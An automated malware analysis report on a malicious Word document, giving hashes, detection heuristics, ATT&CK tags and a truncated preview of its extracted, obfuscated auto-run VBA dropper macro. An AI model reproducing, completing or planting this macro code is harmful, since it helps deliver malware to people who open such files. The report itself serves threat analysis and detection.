Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 1786759ce3f82948…

MALICIOUS

Office (OLE)

85.0 KB Created: 2018-05-16 16:17:00 Authoring application: Microsoft Office Word First seen: 2019-05-16
MD5: 2e3875e26c9f346b54c4afa12b04ac29 SHA-1: 9efc30c5886061492acc697ae2c6fb568080dc7b SHA-256: 1786759ce3f8294887c1dd6a2431fe69af2af80d33b022b3f7ca2a7595e2e488
282 Risk Score

Malware Insights

MITRE ATT&CK
T1566.001 Spearphishing Attachment T1059.005 Visual Basic

The sample is a malicious Word document containing VBA macros. The "AutOOpen" macro is executed upon opening, and the "SE_ENABLE_LURE" heuristic indicates the document prompts the user to enable macros. The VBA code is heavily obfuscated but the presence of CreateObject and CallByName calls suggests it attempts to execute further malicious actions, likely downloading and running a second-stage payload.

Heuristics 9

  • ClamAV: Doc.Dropper.Agent-6958518-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6958518-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • CallByName call high OLE_VBA_CALLBYNAME
    CallByName call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.w.org/1999/02/22-rdf-syntax-ns# In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sTpe/ResourceRef#In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 8374 bytes
SHA-256: 628ff4e8faf5c006a85365bf3720406095140ea32be345d3da18d89ec8719bc4
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutOOpen()
iiksvomirbA
soonoolp = 97 - 17
soonoolp = 52 + 85 - soonoolp + 1
soonoolp = 80 + soonoolp + 1
soonoolp = 33 - 68 - soonool
soonoolp = 80 + 92 - soonoolp + 92 - 4
End Sub

Attribute VB_Name = "adydarin"
Function digntial(fanatka1, tmac0620)
soonoolp = 97 - 17
soonoolp = 52 + 85 - soonoolp + 1
soonoolp = 80 + soonoolp + 1
soonoolp = 33 - 68 - soonool
soonoolp = 80 + 92 - soonoolp + 92 - 4
digntial = rufus3000(AVOTITSSAV.bluemexico) + tmac0620 + rufus3000(AVOTITSSAV.fraudree) + _
tmac0620 + rufus3000(AVOTITSSAV.nymphdar) + fanatka1 + _
rufus3000(mike88632.ip1233215 + hawkorchid + mike88632.shou2468) + fanatka1 + rufus3000(mike88632.ip1233215)
End Function

Function dropback(ANIKREHCEV, boxer, itoslegin, plugnick)
soonoolp = 97 - 17
soonoolp = 52 + 85 - soonoolp + 1
soonoolp = 80 + soonoolp + 1
soonoolp = 33 - 68 - soonool
soonoolp = 80 + 92 - soonoolp + 92 - 4
coolwinnt2.mathspring = zombietech(ANIKREHCEV, boxer) + digntial(ANIKREHCEV, itoslegin) + jewels1965(plugnick)
End Function

Sub iiksvomirbA()
Randomize
soonoolp = 97 - 17
soonoolp = 52 + 85 - soonoolp + 1
soonoolp = 80 + soonoolp + 1
soonoolp = 33 - 68 - soonool
soonoolp = 80 + 92 - soonoolp + 92 - 4
GREBZDNAYL2.ra002129 = "josiecrapp"
End Sub

Function VEANULOK()
VEANULOK = GREBZDNAYL2.orexscug
End Function


Attribute VB_Name = "crappwqsb"
Function rufus3000(derekfrodo)
anikicuB = ""
soonoolp = 97 - 17
soonoolp = 52 + 85 - soonoolp + 1
soonoolp = 33 - 68 - soonool
soonoolp = 80 + 92 - soonoolp + 92 - 4
omyachishe = Len(derekfrodo)
For barney58 = 1 To omyachishe
soonoolp = 97 - 17
soonoolp = 52 + 85 - soonoolp + 1
soonoolp = 80 + soonoolp + 1
soonoolp = 80 + 92 - soonoolp + 92 - 4
anikicuB = anikicuB + irohanih(calfnits(derekfrodo, barney58), 4)
Next barney58
soonoolp = 97 - 17
soonoolp = 52 + 85 - soonoolp + 1
soonoolp = 80 + soonoolp + 1
soonoolp = 33 - 68 - soonool
rufus3000 = anikicuB
End Function

Function calfnits(ARABNIKOP, episacep)
soonoolp = 97 - 17
soonoolp = 52 + 85 - soonoolp + 1
soonoolp = 80 + soonoolp + 1
soonoolp = 33 - 68 - soonool
soonoolp = 80 + 92 - soonoolp + 92 - 4
calfnits = Mid(ARABNIKOP, episacep, 1)
End Function


Attribute VB_Name = "laesboms"
Function sundown5(forcsens)
dinevure = gaussgui(9, 4) - 1
zuoshuang = gaussgui(53, 1)
soonoolp = 97 - 17
soonoolp = 80 + soonoolp + 1
soonoolp = 33 - 68 - soonool
soonoolp = 80 + 92 - soonoolp + 92 - 4
uranosov = calfnits(arielphish, zuoshuang)
For su211163 = 2 To dinevure
zuoshuang = gaussgui(27, 1)
soonoolp = 97 - 17
soonoolp = 52 + 85 - soonoolp + 1
soonoolp = 33 - 68 - soonool
soonoolp = 80 + 92 - soonoolp + 92 - 4
uranosov = uranosov + calfnits(forcsens, zuoshuang)
Next su211163
soonoolp = 97 - 17
soonoolp = 52 + 85 - soonoolp + 1
soonoolp = 80 + soonoolp + 1
soonoolp = 33 - 68 - soonool
zuoshuang = gaussgui(37, 1)
sundown5 = aglitscr(uranosov, zuoshuang)
End Function

Function aglitscr(deedee2222, avokahcib)
aglitscr = deedee2222 + calfnits(luludead, avokahcib)
End Function

Function luludead()
luludead = coolwinnt2.rinthcon
End Function


Attribute VB_Name = "sed17011"
Function jewels1965(tolelise)
soonoolp = 97 - 17
soonoolp = 52 + 85 - soonoolp + 1
soonoolp = 80 + soonoolp + 1
soonoolp = 33 - 68 - soonool
soonoolp = 80 + 92 - soonoolp + 92 - 4
jewels1965 = rufus3000(VOLDEHCM + mike88632.fle12345) + tolelise + _
rufus3000(mike88632.smimapaz) + tolelise + rufus3000(GREBZDNAYL2.orange002)
End Function

Function VOLDEHCM()
VOLDEHCM = ".ghgiouxhEmaQRxsuiaogmE.]/"
End Function




Attribute VB_Name = "voryique"
Function zombietech(drEz7893, veurtseN)
soonoolp = 97 - 17
soonoolp = 52 + 85 - soonoolp + 1
soonoolp = 80 + soonoolp + 1
soonoolp = 33 - 68 - soonool
soonoolp = 80 +
... (truncated)